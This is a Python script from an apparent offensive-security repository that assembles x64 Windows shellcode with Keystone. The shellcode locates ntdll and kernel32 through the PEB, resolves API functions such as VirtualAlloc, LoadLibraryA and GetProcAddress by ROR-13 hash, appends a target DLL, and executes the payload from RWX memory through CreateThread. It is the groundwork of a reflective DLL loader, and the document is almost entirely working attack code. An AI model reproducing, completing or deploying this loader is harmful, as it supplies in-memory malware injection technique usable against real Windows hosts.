Files
violet-devsec-win-shellcode…/shellcode.py
T
2025-06-09 13:08:36 -07:00

151 lines
9.1 KiB
Python

import ctypes, struct
from keystone import *
CODE = (
"start: "
" int3 ;"
" push rbp ;"
" mov rbp, rsp ;"
" add rsp, 0xfffffffffffffdf8 ;" # Make some space in stack
#STEP 0 : calculate dll images current base address
"find_dllstart: "
" lea rsi, [rip+dll_base] ;" # Trying to get address of end of this shellcode
" mov rax, 0x5a4d ;"
"dll_compare: "
" inc rsi ;" # Increment the loop counter
" mov rdi, rsi ;"
" scasw ;" # compares the content of the AX register to the word addressed by DI
" jne dll_compare ;"
"dll_base_found: "
" mov r12, rsi ;" # R12 has DLL base address
#STEP 1 : process the kernels exports for the functions our loader needs...
"find_ntdll: "
" xor rcx, rcx ;" # Zeroing RCX content
" mov rax, gs:[rcx+0x60] ;" # 0x060 ProcessEnvironmentBlock to RAX
" mov rax, [rax+0x18] ;" # 0x18 ProcessEnvironmentBlock.Ldr Offset
" mov rsi, [rax+0x20] ;" # 0x20 ProcessEnvironmentBlock.Ldr.InMemoryOrderModuleList
" mov rax, [rsi] ;" # Load qword at address (R)SI into RAX
" mov r13, [rax+0x20] ;" # R13 = NTDLL base address
"find_kernel32: "
" xchg rax, rsi ;" # Swap RAX,RSI
" lodsq ;" # Load qword at address (R)SI into RAX
" mov r14, [rax + 0x20] ;" # R14 = KERNEL32 base address
"find_function_shorten: "
" jmp find_function_shorten_bnc ;"
"find_function_ret: "
" pop rsi ;"
" mov [rbp+0x08], rsi ;"
" jmp resolve_symbols_kernel32 ;"
"find_function_shorten_bnc: "
" call find_function_ret ;"
"find_function: "
" push rbp ;"
" mov rbp, rsp ;"
" sub rsp, 0x30 ;"
" push rbx ;"
" mov r8, rbx ;" # Copy Kernel32 base address to R8 register
" mov ebx, [rbx + 0x3C] ;" # Get Kernel32 PE Signature (offset 0x3C) into EBX
" add rbx, r8 ;" # Add defrerenced signature offset to kernel32 base. Store in RBX.
" xor r9, r9 ;" # Offset from PE32 Signature to Export Address Table
" add r9, 0x88FFFFF ;" # |
" shr r9, 0x14 ;" # |
" mov edx, [rbx+r9] ;" # Offset from PE32 Signature to Export Address Table
" add rdx, r8 ;" # RDX = kernel32.dll + RVA ExportTable = ExportTable Address
" mov r10d, [rdx + 0x14] ;" # Number of functions
" xor r11, r11 ;" # Zero R11 before use
" mov r11d, [rdx+0x20] ;" # AddressOfNames RVA
" add r11, r8 ;" # AddressOfNames VMA
" mov rdi, r10 ;" # Set loop counter
"find_function_loop: "
" jecxz find_function_finished ;" # Jump to the end if RCX is 0
" dec rdi ;" # Decrement our loop by one
" xor rsi, rsi ;" # Zero RSI for use
" mov esi, [r11+rdi*4] ;" # ESI = RVA for first AddressOfName
" add rsi, r8 ;" # RSI = Function name VMA
"compute_hash: "
" xor eax, eax ;" # NULL EAX
" xor r15, r15 ;" # NULL r15
" cld ;" # Clear direction
"compute_hash_again: "
" lodsb ;" # Load the next byte from rsi into al
" test al, al ;" # Check for NULL terminator
" jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL term
" ror r15d, 0x0d ;" # Rotate edx 13 bits to the right
" add r15d, eax ;" # Add the new byte to the accumulator
" jmp compute_hash_again ;"
"compute_hash_finished: "
"find_function_compare: "
" cmp r15, rcx ;" # Compare the computed hash with the requested hash
" jnz find_function_loop ;"
" xor r11, r11 ;"
" mov r11d, [rdx + 0x24] ;" # AddressOfNameOrdinals RVA
" add r11, r8 ;" # AddressOfNameOrdinals VMA
" xor r15, r15 ;"
" mov r15w, [r11+rdi*2] ;" # AddressOfNameOrdinals + Counter. RCX = counter
" xor r11, r11 ;"
" mov r11d, [rdx + 0x1c] ;" # AddressOfFunctions RVA
" add r11, r8 ;" # AddressOfFunctions VMA
" mov eax, [r11+r15*4] ;" # Get the function RVA
" add rax, r8 ;" # Get the function VMA
" mov r14, rax ;" # Preserve function address in R14
"find_function_finished: "
" pop rbx ;"
" add rsp, 0x30 ;"
" pop rbp ;"
" ret ;"
"resolve_symbols_kernel32: "
" mov rbx, r14 ;" # Moving Kernel32 base address to RBX
#" push qword 0x78b5b983 ;" # TerminateProcess hash
" mov ecx, 0x78b5b983 ;"
" call qword ptr [rbp+0x08] ;" # Call find_function
" mov [rbp+0x20], rax ;" # Save TerminateProcess address
#" xor rax, rax ;" # Same as push imm64, due to keystone error,
#" mov eax, 0xec0e4e8e ;" # we are moving value to a register
#" push rax ;" # and then push to stack
" mov ecx, 0xec0e4e8e ;"
" call qword ptr [rbp+0x08] ;" # Call find_function
" mov [rbp+0x28], rax ;" # Save LoadLibraryA address for later usage
#" xor rax, rax ;" # Same as push imm64, due to keystone error,
#" mov eax, 0x7c0dfcaa ;" # we are moving value to a register
#" push rax ;" # and then push to stack
" mov ecx, 0x7c0dfcaa ;"
" call qword ptr [rbp+0x08] ;" # Call find_function
" mov [rbp+0x38], rax ;" # Save GetProcAddress address for later usage
#" xor rax, rax ;" # Same as push imm64, due to keystone error,
#" mov eax, 0x91afca54 ;" # we are moving value to a register
#" push rax ;" # and then push to stack
" mov ecx, 0x91afca54 ;"
" call qword ptr [rbp+0x08] ;" # Call find_function
" mov [rbp+0x40], rax ;" # Save VirtualAlloc address for later usage
"resolve_symbols_ntdll: "
" mov rbx, r13 ;" # Moving Ntdll base address to RBX
#" xor rax, rax ;" # Same as push imm64, due to keystone error,
#" mov eax, 0x534c0ab8 ;" # we are moving value to a register
#" push rax ;" # and then push to stack
" mov ecx, 0x534c0ab8 ;"
" call qword ptr [rbp+0x08] ;" # Call find_function
" mov [rbp+0x48], rax ;" # Save NtFlushInstructionCache address for later usage
)
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
print(shellcode)
# Write the (shellcode+target_dll) to a file for later use
with open("target.dll", "rb") as dll_file:
with open("shellcode.sh", "wb") as binary_file:
shellcode += dll_file.read()
binary_file.write(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int))
space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buff = ( ctypes.c_char * len(shellcode) ).from_buffer_copy( shellcode )
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(space))
input("...ENTER TO EXECUTE SHELLCODE...")
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1);